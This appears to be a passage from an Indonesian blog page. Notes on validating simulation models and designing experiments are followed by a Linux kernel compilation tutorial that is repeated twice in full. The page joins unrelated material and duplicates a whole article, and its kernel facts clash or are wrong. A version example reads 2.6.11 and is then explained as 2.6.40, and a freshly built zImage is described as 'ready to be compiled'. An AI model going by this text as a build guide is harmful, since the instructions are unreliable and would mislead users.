4. Model simulasi harus selalu dikembangkan untuk sekumpulan tujuan tertentu. Model yang valid untuk satu tujuan belum tentu valid untuk tujuan lainnya.
5. Catatan asumsi-asumsi model simulasi harus di-update secara teratur, dan akhirnya menjadi laporan akhir.
6. Model simulasi harus divalidasi relatif terhadap ukuran-ukuran kinerja yang nanatinya dipakai untuk pengambilan keputusan.
7. Validasi bukan sesuatu yang harus diusahakan setelah model simulasi selesai dikembangkan, melainkan, pengembangan model dan validasi harus dilakukan bersama-sama sepanjang studi simulasi.
8. Umumnya tidak mungkin melakukan validasi statistik antara data output model dan data output sistem ybs (jika ada), bergantung pada sifat data tsb.
Pendekatan Tiga Langkah untuk Mengembangkan Model Simulasi yang Valid dan Credible
1. Mengembangkan model dengan High Face Validity, yaitu, model yang dipermukaannya tampak masuk akal bagi orang-orang yang memiliki pengetahuan tentang sistem yang dipelajari.
Pemodel simulasi harus menggunakan semua informasi dari:
- Wawancara dengan “pakar’ sistem.
- Observasi sistem.
- Teori yang ada.
*
- Hasil yang relevan dari model simulasi yang mirip.
*
- Pengalaman/Intuisi
*
2. Menguji Asumsi-asumsi model secara empiris.
Tujuannya adalah secara kuantitatif menguji asumsi-asumsi yang dibuat pada tahap awal pengembangan model. Salah satu alat bantu yang paling berguna adalah analisis sensitifitas. Cara ini dapat digunakan untuk mennetukan apakah output simulasi berubah secara signifikan ketika nilai parameter input diubah. Cara: dengan menggunakan metode bilangan acak umum.
3. Menentukan seberapa representatif data output simulasi.
Jika data output model simulasi memperlihatkan hasil yang “bagus” ketika dibandingkan dengan data output sistem yang sebenarnya atau yang diharapkan, maka model sistem tersebut “valid”.
Prosedur Statistik untuk Membandingkan Observasi Dunia Nyata dengan Data Output Simulasi
1. Pendekatan Inspeksi
Pendekatan inspeksi dasar: model diberi input dengan data acak, dan hasilnya dibandingkan dengan observasi dunia nyata.
Pendekatan inspeksi korelasi:
Data input sistem historis Data input sistem historis
Sistem yang sebenarnya Model simulasi
bandingkan
Data output sistem Data output model
2. Pendekatan Interval Konfidensi Berdasarkan Data Independen
3. Pendekatan Time-Series
EKSPERIMEN DISAIN
Untuk setiap disain sistem yang akan disimulasikan, harus dibuat keputusan untuk isu-isu seperti:
- Kondisi awal untuk menjalankan simulasi.
- Lama periode warmup (jika ada).
- Lama jalannya simulasi.
- Banyaknya simulasi-simulasi independen (replikasi) untuk setiap alternatif.
Tipe-tipe simulasi berdasarkan analisis output:
1. Terminating simulation
2. Nonterminating simulation:
a. Steady-state parameters
b. Steady-state cycle parameters
c. Other parameters.
CompiLer
(Artikel 1 )Kompail Kernel
Seperti yang telah diketahui, kernel adalah program yang dimuat pada
saat boot yang berfungsi sebagai interface antara user-level program
dengan hardware. Secara teknis linux hanyalah sebuah kernel. Pogram
lain seperti editor, kompiler dan manajer yang disertakan dalam paket
(SuSE, RedHat,Mandrake,dll) hanyalah distribusi yang melengkapi
kernel menjadi sebuah sistem operasi yang lengkap. Kernel membutuhkan
konfigurasi agar dapat bekerja secara optimal.
Konfigurasi ulang dilakukan jika ada device baru yang belum dimuat.
Setelah melakukan konfigurasi, lakukan kompilasi untuk mendapatkan
kernel yang baru. Tahap ini memerlukan beberapa tool, seperti
kompiler dsb. Kompile kernel ini dilakukan jika ingin mengupdate
kernel dengan keluaran terbaru. Kernel ini mungkin lebih baik dari
pada yang lama.
Tahap kompilasi ini sangat potensial untuk menimbulkan kesalahan atau
kegagalan, oleh karena itu sangat disarankan untuk mempersiapkan
emergency boot disk, sebab kesalahan umumnya mengakibatkan sistem mogok.
Ada beberapa langkah yang umumnya dilakukan dalam mengkompilasi
kernel, yaitu :
1. Download kernel
Tempat untuk mendownload kernel ada di beberapa situs internet.
Silakan dicari sendiri. Tetapi biasanya di "kambing.vlsm.org" ada
versi-versi kernel terbaru. Source kernel tersebut biasanya dalam
format linux-X.X.XX.tar.gz, di mana X.X.XX menunjukkan nomor versi
kernel. Misalnya 2.6.11. Nomor tersebut dibagi menjadi tiga
bagian, yaitu:
- Major number
- Minor number
- Revision number
Pada contoh versi kernel di atas (2.6.40), angka 2 menunjukkan
major number. Angka ini jarang berubah. Perubahan angka ini
menandakan adanya perubahan besar (upgrade) pada kernel. Kemudian
angka 6 menunjukkan minor number. Angka ini menunjukkan
stabilitas. Angka genap (0,2,4,6,dst) menunjukkan kernel tersebut
telah stabil. Angka ganjil menandakan bahwa kernel tersebut dalam
tahap pengembangan. Kernel ganjil mengandung experimental-code
atau feature terbaru yang ditambahkan leh developernya. Kernel
genap pada saat dirilis tidak ada penambahan lagi dan dianggap
sudah stabil. Percobaan terhadap feature-featur terbaru biasanya
dilakukan pada kernel dengan nomor minor yang ganjil. Dua angka
terakhir (11) menunjukkan nomor revisi. Ini menandakan current
path versi tersebut. Selama tahap pengambangan, nomor ini cepat
berubah. Kadang sampai dua kali dalam seminggu.
2. Kompilasi Kernel
Kompile akan memakan waktu lama, dan seperti telah diberitahukan
diatas, sangat mungkin untuk menimbulkan kegagalan.
Di direktori /usr/src/linux jalankan:
make dep; make clean; make zImage.
Perintah make dep : membaca file konfigurasi dan membentuk
dependency tree. proses ini mengecek apa yang dikompile dan apa
yang tidak.
make clean : menghapus seluruh jejak kompilasi yang telah
dilakukan sebelumnya. Ini memastikan agar tidak ada feature lama
yang tersisa.
make zImage : Kompilasi yang sesungguhnya. Jika tidak ada
kesalahan akan terbentuk kernel terkompresi dan siap dikompilasi.
Sebelum dikompile, modul-modul yang berhubungan perlu dikompile
juga dengan make modules. Cek lokasi kernel, umumnya nama kernel
dimulai dengan vmlinuz, biasanya ada di direktori
/boot, atau buka /etc/lilo.conf untuk memastikannya. Di sini tidak
akan dijelaskan secara mendetail langkah-langkah dalam mengompile
kernel. Langkah-langkah ini dapat dilihat di banyak situs, salah
satunya situs "bebas.vlsm.org/v09/onno-ind-1/ network/
ppt-linux-ethernet-10-2000.ppt" yang dibuat oleh Onno W. Purbo
dengan slide. Sebelum kernel modul diinstalasi, sebaiknya back up
dulu modul lama. Keuntungan memback-up modul lama adalah bila
nanti modul baru tidak berjalan baik, maka modul lama bisa
digunakan lagi dengan menghapus modul baru. Setelah tahap ini
selesai, jalankan lilo, reboot sistem dan lihat hasilnya.
3. Konfigurasi Kernel
Konfigurasi kernel adalah tahap terpenting yang menentukan
kualitas sebuah kernel. Mana yang harus diikutkan, dan mana yang
harus ditinggal sesuai tuntutan hardware dan keperluan.
Konfigurasi dimulai dari directori /usr/src/linux. Ada tiga cara:
- make config, berupa text base interface, cocok untuk user yang
memiliki terminal mode lama dan tidak memiliki setting termcap.
- make menuconfig, berupa text base juga tapi memiliki puldown
menu berwarna, digunakan untuk user yang memiliki standar
console.
- make xconfig, interface menggunakan layar grafik penuh, untuk
user yang sudah memiliki X Window.
Ada sekitar 14 menu pilihan dimulai dari Code maturity level
options sampai kernel hacking. Masing-masing memiliki submenu bila
dipilih dan pilihan yes(y), module(m), atau no(n). Setiap pilihan
dimuat/kompile ke dalam kernel akan memperbesar ukuran kernel.
Karena itu pilih feature-feature yang sering digunakan atau
jadikan module untuk feature yang tidak sering digunakan. Dan
jangan memasukkan feature-feature yang tidak dibutuhkan. Setelah
selesai melakukan pilihan konfigurasi, simpanlah sebelum keluar
dari layar menu konfigurasi.
4. Patch Kernel
Setiap dikeluarkan kernel versi terbaru juga dikeluarkan sebuah
file patch. File patch ini jauh lebih kecil dari file source
kernel sehingga jauh lebih cepat bila digunakan untuk upgrade
kernel.File ini hanya bekerja untuk mengupgrade satu versi kernel
dibawahnya. Misalnya, versi kernel 2.4.19 hanya bisa diupgrade
dengan file patch 2.4.20 menjadi kernel 2.4.20. Umumnya file patch
ini tersedia pada direktori yang sama di FTP dan website yang
menyediakan source kernel. File-file patch tersedia dalam
format .gz
Seperti yang telah diketahui, kernel adalah program yang dimuat pada
saat boot yang berfungsi sebagai interface antara user-level program
dengan hardware. Secara teknis linux hanyalah sebuah kernel. Pogram
lain seperti editor, kompiler dan manajer yang disertakan dalam paket
(SuSE, RedHat,Mandrake,dll) hanyalah distribusi yang melengkapi
kernel menjadi sebuah sistem operasi yang lengkap. Kernel membutuhkan
konfigurasi agar dapat bekerja secara optimal.
Konfigurasi ulang dilakukan jika ada device baru yang belum dimuat.
Setelah melakukan konfigurasi, lakukan kompilasi untuk mendapatkan
kernel yang baru. Tahap ini memerlukan beberapa tool, seperti
kompiler dsb. Kompile kernel ini dilakukan jika ingin mengupdate
kernel dengan keluaran terbaru. Kernel ini mungkin lebih baik dari
pada yang lama.
Tahap kompilasi ini sangat potensial untuk menimbulkan kesalahan atau
kegagalan, oleh karena itu sangat disarankan untuk mempersiapkan
emergency boot disk, sebab kesalahan umumnya mengakibatkan sistem mogok.
Ada beberapa langkah yang umumnya dilakukan dalam mengkompilasi
kernel, yaitu :
1. Download kernel
Tempat untuk mendownload kernel ada di beberapa situs internet.
Silakan dicari sendiri. Tetapi biasanya di "kambing.vlsm.org" ada
versi-versi kernel terbaru. Source kernel tersebut biasanya dalam
format linux-X.X.XX.tar.gz, di mana X.X.XX menunjukkan nomor versi
kernel. Misalnya 2.6.11. Nomor tersebut dibagi menjadi tiga
bagian, yaitu:
- Major number
- Minor number
- Revision number
Pada contoh versi kernel di atas (2.6.40), angka 2 menunjukkan
major number. Angka ini jarang berubah. Perubahan angka ini
menandakan adanya perubahan besar (upgrade) pada kernel. Kemudian
angka 6 menunjukkan minor number. Angka ini menunjukkan
stabilitas. Angka genap (0,2,4,6,dst) menunjukkan kernel tersebut
telah stabil. Angka ganjil menandakan bahwa kernel tersebut dalam
tahap pengembangan. Kernel ganjil mengandung experimental-code
atau feature terbaru yang ditambahkan leh developernya. Kernel
genap pada saat dirilis tidak ada penambahan lagi dan dianggap
sudah stabil. Percobaan terhadap feature-featur terbaru biasanya
dilakukan pada kernel dengan nomor minor yang ganjil. Dua angka
terakhir (11) menunjukkan nomor revisi. Ini menandakan current
path versi tersebut. Selama tahap pengambangan, nomor ini cepat
berubah. Kadang sampai dua kali dalam seminggu.
2. Kompilasi Kernel
Kompile akan memakan waktu lama, dan seperti telah diberitahukan
diatas, sangat mungkin untuk menimbulkan kegagalan.
Di direktori /usr/src/linux jalankan:
make dep; make clean; make zImage.
Perintah make dep : membaca file konfigurasi dan membentuk
dependency tree. proses ini mengecek apa yang dikompile dan apa
yang tidak.
make clean : menghapus seluruh jejak kompilasi yang telah
dilakukan sebelumnya. Ini memastikan agar tidak ada feature lama
yang tersisa.
make zImage : Kompilasi yang sesungguhnya. Jika tidak ada
kesalahan akan terbentuk kernel terkompresi dan siap dikompilasi.
Sebelum dikompile, modul-modul yang berhubungan perlu dikompile
juga dengan make modules. Cek lokasi kernel, umumnya nama kernel
dimulai dengan vmlinuz, biasanya ada di direktori
/boot, atau buka /etc/lilo.conf untuk memastikannya. Di sini tidak
akan dijelaskan secara mendetail langkah-langkah dalam mengompile
kernel. Langkah-langkah ini dapat dilihat di banyak situs, salah
satunya situs "bebas.vlsm.org/v09/onno-ind-1/ network/
ppt-linux-ethernet-10-2000.ppt" yang dibuat oleh Onno W. Purbo
dengan slide. Sebelum kernel modul diinstalasi, sebaiknya back up
dulu modul lama. Keuntungan memback-up modul lama adalah bila
nanti modul baru tidak berjalan baik, maka modul lama bisa
digunakan lagi dengan menghapus modul baru. Setelah tahap ini
selesai, jalankan lilo, reboot sistem dan lihat hasilnya.
3. Konfigurasi Kernel
Konfigurasi kernel adalah tahap terpenting yang menentukan
kualitas sebuah kernel. Mana yang harus diikutkan, dan mana yang
harus ditinggal sesuai tuntutan hardware dan keperluan.
Konfigurasi dimulai dari directori /usr/src/linux. Ada tiga cara:
- make config, berupa text base interface, cocok untuk user yang
memiliki terminal mode lama dan tidak memiliki setting termcap.
- make menuconfig, berupa text base juga tapi memiliki puldown
menu berwarna, digunakan untuk user yang memiliki standar
console.
- make xconfig, interface menggunakan layar grafik penuh, untuk
user yang sudah memiliki X Window.
Ada sekitar 14 menu pilihan dimulai dari Code maturity level
options sampai kernel hacking. Masing-masing memiliki submenu bila
dipilih dan pilihan yes(y), module(m), atau no(n). Setiap pilihan
dimuat/kompile ke dalam kernel akan memperbesar ukuran kernel.
Karena itu pilih feature-feature yang sering digunakan atau
jadikan module untuk feature yang tidak sering digunakan. Dan
jangan memasukkan feature-feature yang tidak dibutuhkan. Setelah
selesai melakukan pilihan konfigurasi, simpanlah sebelum keluar
dari layar menu konfigurasi.
4. Patch Kernel
Setiap dikeluarkan kernel versi terbaru juga dikeluarkan sebuah
file patch. File patch ini jauh lebih kecil dari file source
kernel sehingga jauh lebih cepat bila digunakan untuk upgrade
kernel.File ini hanya bekerja untuk mengupgrade satu versi kernel
dibawahnya. Misalnya, versi kernel 2.4.19 hanya bisa diupgrade
dengan file patch 2.4.20 menjadi kernel 2.4.20. Umumnya file patch
ini tersedia pada direktori yang sama di FTP dan website yang
menyediakan source kernel. File-file patch tersedia dalam
format .gz
Langganan:
Postingan (Atom)